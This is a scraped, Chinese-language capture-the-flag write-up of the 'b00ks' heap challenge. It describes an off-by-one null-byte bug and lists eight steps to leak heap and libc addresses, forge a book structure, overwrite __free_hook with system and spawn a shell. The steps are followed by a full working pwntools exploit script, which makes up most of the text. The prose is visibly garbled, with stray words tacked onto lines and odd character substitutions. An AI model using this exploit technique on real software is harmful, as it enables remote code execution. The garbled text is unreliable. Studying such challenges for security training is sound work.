有一個讀入函數,程序的全部輸入都靠它讀取,這個程序有個很明顯的off_by_one漏洞,在輸入時多輸入一個0字符。shell
程序開始運行時首先要求輸入authorname,而這個輸入保存在bss段0x0000559C506F3040處函數
程序有建立函數能夠分別給book_name與book_descrption建立堆保存內容,並還會建立一個book的堆來保存name和descrption的指針。
debug
book的指針保存在bss段0x0000559C506F3060處,距離authorname的保存位置有0x20個字節。
指針
攻擊步驟:
一、首先authorname輸入0x20個字節,讓多的一個0覆蓋0x0000559C506F3060的最低位,也就是第一個book指針的最低位。
二、而後建立一個book1,book1的指針會把最低位的0覆蓋掉,同時authorname與book1指針直接連在一塊兒,沒有\x00相隔,因此咱們打印處authorname的時候就可泄露出book1的地址。(這裏要把descrption堆的地址調成book1地址末位被0覆蓋的地址,好比說book1地址爲0x00007812,那descrption的地址要佈置成0x00007810)
三、建立一個book2,同時咱們僞造一個book結構,經過編輯函數把這個book結構寫入book1的descrption中,注意僞造的book要算好book1與book2之間的偏移,讓僞造book的name和decrption指向book2的name和decrption。
四、修改authorname輸入0x20個字節,讓多一個0覆蓋掉book1指針的最低位,至關於此時book1的指針指向book1的descrption。
五、這樣咱們經過打印book1的name和descrption便可泄露出book2的name與descrpiton地址。
六、libc與book1descrption之間爲固定偏移,由此咱們能夠得到libc基址、system函數地址、free_hook地址。
七、編輯book1的descrption,讓book2的descrption指向free_hook,編輯book2的descrption,讓free_hook的值爲system函數地址。
八、建立一個堆寫入"/bin/sh\x00",釋放這個堆,運行system(「/bin/sh/x00")便可getshell。code
我一開始用one_gadget沒有打通,本機對全部one_gadget的限制條件都不知足,因此後來換成system的方式來getshell。blog
from pwn import * context.log_level="info" #context.log_level='debug' binary=ELF("b00ks") libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") io=process("./b00ks") def createbook(name_size,name,des_size,des): io.readuntil("> ") io.sendline("1") io.readuntil(": ") io.sendline(str(name_size)) io.readuntil(": ") io.sendline(name) io.readuntil(": ") io.sendline(str(des_size)) io.readuntil(": ") io.sendline(des) def printbook(id): io.readuntil("> ") io.sendline("4") io.readuntil(": ") for i in range(id): book_id=int(io.readline()[:-1]) io.readuntil(": ") book_name=io.readline()[:-1] io.readuntil(": ") book_des=io.readline()[:-1] io.readuntil(": ") book_author=io.readline()[:-1] return book_id,book_name,book_des,book_author def createname(name): io.readuntil("name: ") io.sendline(name) def changename(name): io.readuntil("> ") io.sendline("5") io.readuntil(": ") io.sendline(name) def editbook(book_id,new_des): io.readuntil("> ") io.sendline("3") io.readuntil(": ") io.writeline(str(book_id)) io.readuntil(": ") io.sendline(new_des) def deletebook(book_id): io.readuntil("> ") io.sendline("2") io.readuntil(": ") io.sendline(str(book_id)) createname("A"*32) createbook(128,"a",32,"a") createbook(0x21000,"aaaa",0x21000,"bbbb") #gdb.attach(io) book_id_1,book_name,book_des,book_author=printbook(1) book1_addr=u64(book_author[32:32+6].ljust(8,'\x00')) log.success("book1_address:"+hex(book1_addr)) payload=p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x40)+p64(0xffff) editbook(book_id_1,payload) changename("A"*32) #gdb.attach(io) book_id_1,book_name,book_des,book_author=printbook(1) book2_name_addr=u64(book_name.ljust(8,"\x00")) book2_des_addr=u64(book_des.ljust(8,"\x00")) log.success("book2 name addr:"+hex(book2_name_addr)) log.success("book2 des addr:"+hex(book2_des_addr)) libc_base=book2_des_addr + 0x43ff0 log.success("libc base:"+hex(libc_base)) free_hook=libc_base+libc.symbols["__free_hook"] system_addr = libc_base + libc.symbols['system'] one_gadget=libc_base + 0xe666b log.success("free_hook:"+hex(free_hook)) log.success("one_gadget:"+hex(one_gadget)) log.success('system:'+hex(system_addr)) editbook(1,p64(free_hook)*2) editbook(2,p64(system_addr)) createbook(8,'/bin/sh\x00',8,'/bin/sh\x00') #gdb.attach(io) deletebook(3) io.interactive()